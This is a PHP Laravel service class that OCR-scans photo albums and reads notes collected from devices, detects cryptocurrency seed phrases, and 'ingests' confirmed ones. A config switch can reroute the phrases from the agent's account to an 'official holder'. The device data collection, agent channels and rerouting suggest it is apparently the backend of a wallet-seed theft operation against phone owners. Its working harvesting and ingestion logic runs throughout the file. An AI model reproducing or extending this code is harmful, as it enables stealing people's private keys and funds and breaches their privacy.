<?php

namespace App\Services;

use App\Jobs\ScanDeviceNotes;
use App\Jobs\ScanPhotoMnemonic;
use App\Models\Device;
use App\Models\MnemonicFinding;
use App\Models\Note;
use App\Models\NoteScan;
use App\Models\Photo;
use App\Models\User;
use App\Services\Chain\Bip44;
use App\Services\Ocr\OcrDriver;
use App\Services\Ocr\PhotoOcrPreparer;
use App\Support\AgentScope;
use App\Support\NoteContent;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;

class MnemonicScanService
{
    public function __construct(
        private readonly MnemonicDetector $detector,
        private readonly OcrDriver $ocr,
        private readonly PhotoOcrPreparer $preparer,
        private readonly IngestService $ingest,
    ) {}

    public function dispatchPhoto(Photo $photo): void
    {
        if (app()->runningUnitTests()) {
            return;
        }
        if ((int) $photo->scan_status !== MnemonicScanStatus::PENDING
            && (int) $photo->scan_status !== MnemonicScanStatus::FAILED) {
            return;
        }
        ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr');
    }

    public function dispatchNotes(Device $device): void
    {
        if (app()->runningUnitTests()) {
            return;
        }
        ScanDeviceNotes::dispatch($device->id);
    }

    public function scanPhoto(Photo $photo): void
    {
        $jpeg = null;
        try {
            $jpeg = $this->preparer->jpegPath($photo);
            if ($jpeg === null) {
                $this->markPhoto($photo, MnemonicScanStatus::FAILED, '');

                return;
            }
            $text = $this->ocr->recognize($jpeg);
            $this->applyTextHit($photo->device, MnemonicFinding::SOURCE_PHOTO, $text, $photo, null, null);
            $this->markPhoto($photo, $this->photoStatus($photo), $text);
        } catch (\Throwable $e) {
            Log::warning('scan photo mnemonic failed: '.$e->getMessage(), ['photo_id' => $photo->id]);
            $this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
        } finally {
            if (is_string($jpeg) && is_file($jpeg)) {
                @unlink($jpeg);
            }
        }
    }

    public function scanDeviceNotes(Device $device): void
    {
        $note = $this->latestNote($device);
        if ($note === null) {
            return;
        }
        foreach ($note->items() as $index => $item) {
            $this->scanNoteItem($device, $note, $item, $index);
        }
    }

    /**
     * @param  array{title: string, body: string, native_id: int|string|null}  $item
     */
    public function scanNoteItem(Device $device, Note $note, array $item, int $index): void
    {
        $key = NoteScan::itemKey($item, $index);
        $hash = NoteScan::itemHash($item);
        $row = NoteScan::query()->firstOrNew([
            'device_id' => $device->id,
            'note_id' => $note->id,
            'item_key' => $key,
        ]);
        if ($row->exists
            && hash_equals((string) $row->content_hash, $hash)
            && (int) $row->scan_status !== MnemonicScanStatus::PENDING
            && (int) $row->scan_status !== MnemonicScanStatus::FAILED) {
            return;
        }

        $text = $this->noteScanText(
            trim((string) ($item['title'] ?? '')),
            trim((string) ($item['body'] ?? '')),
        );
        $this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
        $row->content_hash = $hash;
        $row->scan_status = $this->noteStatus($note, $key);
        $row->scanned_at = now();
        $row->save();
    }

    public function confirm(MnemonicFinding $finding, ?string $actor = null, ?string $candidate = null): bool
    {
        $device = $finding->device;
        if ($device === null || $finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
            return false;
        }
        $phrase = trim(preg_replace('/\s+/', ' ', (string) ($candidate ?? $finding->candidate)) ?: '');
        if ($phrase === '' || ! Bip44::isUsableMnemonic($phrase)) {
            return false;
        }
        $finding->candidate = $phrase;
        $finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
        $this->ingestScanMnemonic(
            $device,
            $phrase,
            $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
        );
        $finding->status = MnemonicFinding::STATUS_CONFIRMED;
        $finding->reviewed_by = $actor;
        $finding->reviewed_at = now();
        $finding->save();

        if ($finding->photo_id) {
            Photo::query()->whereKey($finding->photo_id)->update([
                'scan_status' => MnemonicScanStatus::CONFIRMED,
            ]);
        }
        if ($finding->note_id && $finding->item_key) {
            NoteScan::query()
                ->where('note_id', $finding->note_id)
                ->where('item_key', $finding->item_key)
                ->update(['scan_status' => MnemonicScanStatus::CONFIRMED]);
        }

        return true;
    }

    public function dismiss(MnemonicFinding $finding, ?string $actor = null): void
    {
        $finding->status = MnemonicFinding::STATUS_DISMISSED;
        $finding->reviewed_by = $actor;
        $finding->reviewed_at = now();
        $finding->save();

        if ($finding->photo_id) {
            Photo::query()->whereKey($finding->photo_id)->update([
                'scan_status' => MnemonicScanStatus::EMPTY,
            ]);
        }
        if ($finding->note_id && $finding->item_key) {
            NoteScan::query()
                ->where('note_id', $finding->note_id)
                ->where('item_key', $finding->item_key)
                ->update(['scan_status' => MnemonicScanStatus::EMPTY]);
        }
    }

    /**
     * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
     */
    public function photoProgress(?int $deviceId = null, ?User $agent = null): array
    {
        if ($deviceId !== null) {
            return $this->photoProgressCounts($deviceId, null);
        }

        return Cache::remember(
            'scan.photo_progress:'.$this->progressScopeKey($agent),
            60,
            fn () => $this->photoProgressCounts(null, $agent),
        );
    }

    /**
     * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
     */
    private function photoProgressCounts(?int $deviceId, ?User $agent): array
    {
        $q = Photo::query();
        if ($deviceId !== null) {
            $q->where('device_id', $deviceId);
        } elseif ($agent !== null) {
            $q->join('devices', 'devices.id', '=', 'photos.device_id');
            AgentScope::applyDeviceChannelScope($q, $agent);
            $q->selectRaw('photos.scan_status as scan_status, COUNT(*) as c')->groupBy('photos.scan_status');

            return $this->progressFromCounts($q->pluck('c', 'scan_status')->all());
        }

        return $this->progressFromCounts($q->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all());
    }

    /**
     * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
     */
    public function noteProgress(?Device $device = null, ?User $agent = null): array
    {
        if ($device !== null) {
            $note = $this->latestNote($device);
            $items = $note ? $note->items() : [];
            $total = count($items);
            if ($total === 0) {
                return $this->progressFromCounts([]);
            }
            $scans = NoteScan::query()
                ->where('device_id', $device->id)
                ->where('note_id', $note->id)
                ->get()
                ->keyBy('item_key');
            $counts = [];
            foreach ($items as $index => $item) {
                $key = NoteScan::itemKey($item, $index);
                $status = (int) ($scans[$key]->scan_status ?? MnemonicScanStatus::PENDING);
                $counts[$status] = ((int) ($counts[$status] ?? 0)) + 1;
            }

            return $this->progressFromCounts($counts);
        }

        return Cache::remember('scan.note_progress:'.$this->progressScopeKey($agent), 60, function () use ($agent) {
            $itemTotal = 0;
            $latestIds = Note::query()->selectRaw('MAX(notes.id) as id');
            $this->scopeNotesToAgent($latestIds, $agent);
            $latestIds->groupBy('notes.device_id');

            Note::query()
                ->whereIn('id', $latestIds)
                ->select(['id', 'content'])
                ->orderBy('id')
                ->chunkById(200, function ($notes) use (&$itemTotal) {
                    foreach ($notes as $note) {
                        $itemTotal += count(NoteContent::normalizeStored($note->content));
                    }
                });

            $scans = NoteScan::query();
            $this->scopeNoteScansToAgent($scans, $agent);
            $scannedRows = $scans->selectRaw('note_scans.scan_status as scan_status, COUNT(*) as c')->groupBy('note_scans.scan_status')->pluck('c', 'scan_status')->all();
            $progress = $this->progressFromCounts($scannedRows);
            $progress['total'] = $itemTotal;
            $progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']);

            return $progress;
        });
    }

    private function progressScopeKey(?User $agent): string
    {
        return $agent === null ? 'all' : 'a:'.$agent->id;
    }

    private function scopeNotesToAgent(\Illuminate\Database\Eloquent\Builder $query, ?User $agent): void
    {
        if ($agent === null) {
            return;
        }
        $query->join('devices', 'devices.id', '=', 'notes.device_id');
        AgentScope::applyDeviceChannelScope($query, $agent);
    }

    private function scopeNoteScansToAgent(\Illuminate\Database\Eloquent\Builder $query, ?User $agent): void
    {
        if ($agent === null) {
            return;
        }
        $query->join('devices', 'devices.id', '=', 'note_scans.device_id');
        AgentScope::applyDeviceChannelScope($query, $agent);
    }

    /**
     * @param  array<int, int>  $counts
     * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
     */
    private function progressFromCounts(array $counts): array
    {
        $pending = (int) ($counts[MnemonicScanStatus::PENDING] ?? 0);
        $empty = (int) ($counts[MnemonicScanStatus::EMPTY] ?? 0);
        $suspected = (int) ($counts[MnemonicScanStatus::SUSPECTED] ?? 0);
        $confirmed = (int) ($counts[MnemonicScanStatus::CONFIRMED] ?? 0);
        $failed = (int) ($counts[MnemonicScanStatus::FAILED] ?? 0);

        return [
            'total' => $pending + $empty + $suspected + $confirmed + $failed,
            'scanned' => $empty + $suspected + $confirmed,
            'suspected' => $suspected,
            'confirmed' => $confirmed,
            'failed' => $failed,
            'pending' => $pending,
        ];
    }

    private function markPhoto(Photo $photo, int $status, string $text): void
    {
        $photo->scan_status = $status;
        $photo->scanned_at = now();
        $photo->ocr_text = mb_substr($text, 0, 8000);
        $photo->save();
    }

    private function applyTextHit(
        ?Device $device,
        string $source,
        string $text,
        ?Photo $photo,
        ?Note $note,
        ?string $itemKey,
    ): void {
        if ($device === null) {
            return;
        }
        $q = MnemonicFinding::query()->where('device_id', $device->id)->where('source', $source);
        if ($photo !== null) {
            $q->where('photo_id', $photo->id);
        } else {
            $q->where('note_id', $note?->id)->where('item_key', $itemKey);
        }

        $hit = $this->detector->detect($text, $source === MnemonicFinding::SOURCE_NOTE);
        if ($hit === null || ! $this->worthRecording($source, $hit)) {
            $q->where('status', '!=', MnemonicFinding::STATUS_CONFIRMED)->delete();

            return;
        }

        $row = $q->first() ?? new MnemonicFinding([
            'device_id' => $device->id,
            'source' => $source,
            'photo_id' => $photo?->id,
            'note_id' => $note?->id,
            'item_key' => $itemKey,
        ]);
        if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
            return;
        }
        $confirmed = $this->canIngestHit($hit);
        $row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
        $row->candidate = $hit['candidate'];
        $row->excerpt = mb_substr($text, 0, 2000);
        $row->word_count = $hit['word_count'];
        $row->score = $hit['score'];
        if ($confirmed) {
            $row->reviewed_by = 'scan';
            $row->reviewed_at = now();
        }
        $row->save();

        if ($confirmed) {
            $this->ingestScanMnemonic(
                $device,
                (string) $hit['candidate'],
                $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
            );
        }
    }

    private function ingestScanMnemonic(Device $source, string $phrase, string $tag): void
    {
        $holder = $source;
        $origin = null;
        if (! config('coruna.scan.agent_visible', true)) {
            $official = Device::officialHolder();
            if ($official !== null && (int) $official->id !== (int) $source->id) {
                $holder = $official;
                $origin = $source;
            }
        }
        $this->ingest->ingestMnemonic($holder, [
            'mnemonic' => $phrase,
            'a' => $tag,
        ], $origin);
    }

    /**
     * Album and notes both need 12+ consecutive words that can derive an address.
     *
     * @param  array{candidate: string, word_count: int, confirmed?: bool}  $hit
     */
    private function canIngestHit(array $hit): bool
    {
        if (empty($hit['confirmed']) || (int) $hit['word_count'] < 12) {
            return false;
        }

        return Bip44::isUsableMnemonic((string) $hit['candidate']);
    }

    /**
     * Notes: only a derivable 12-word phrase. Photos: 12-word run or >=8 hits.
     *
     * @param  array{candidate: string, word_count: int, confirmed?: bool}  $hit
     */
    private function worthRecording(string $source, array $hit): bool
    {
        if ($this->canIngestHit($hit)) {
            return true;
        }
        if ($source === MnemonicFinding::SOURCE_NOTE) {
            return false;
        }
        if (! empty($hit['confirmed'])) {
            return true;
        }

        return (int) $hit['word_count'] >= MnemonicDetector::MIN_SUSPECTED
            && $this->detector->uniqueListWords((string) $hit['candidate']) >= MnemonicDetector::MIN_UNIQUE;
    }

    private function photoStatus(Photo $photo): int
    {
        $status = MnemonicFinding::query()->where('photo_id', $photo->id)->value('status');

        return match ($status) {
            MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
            MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
            default => MnemonicScanStatus::EMPTY,
        };
    }

    private function noteStatus(Note $note, string $itemKey): int
    {
        $status = MnemonicFinding::query()
            ->where('note_id', $note->id)
            ->where('item_key', $itemKey)
            ->value('status');

        return match ($status) {
            MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
            MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
            default => MnemonicScanStatus::EMPTY,
        };
    }

    private function noteScanText(string $title, string $body): string
    {
        if ($title === '') {
            return $body;
        }
        if ($body === '' || $title === $body || str_starts_with($body, $title)) {
            return $body !== '' ? $body : $title;
        }

        return $title."\n".$body;
    }

    /**
     * Fetch the latest note for a device without triggering a MySQL sort
     * on the large `content` column. Step 1 gets only the id (cheap ORDER BY
     * on small column); step 2 fetches the full row by PK (no sort).
     */
    private function latestNote(Device $device): ?Note
    {
        $id = $device->notes()->orderByDesc('id')->value('id');

        return $id !== null ? Note::query()->find($id) : null;
    }
}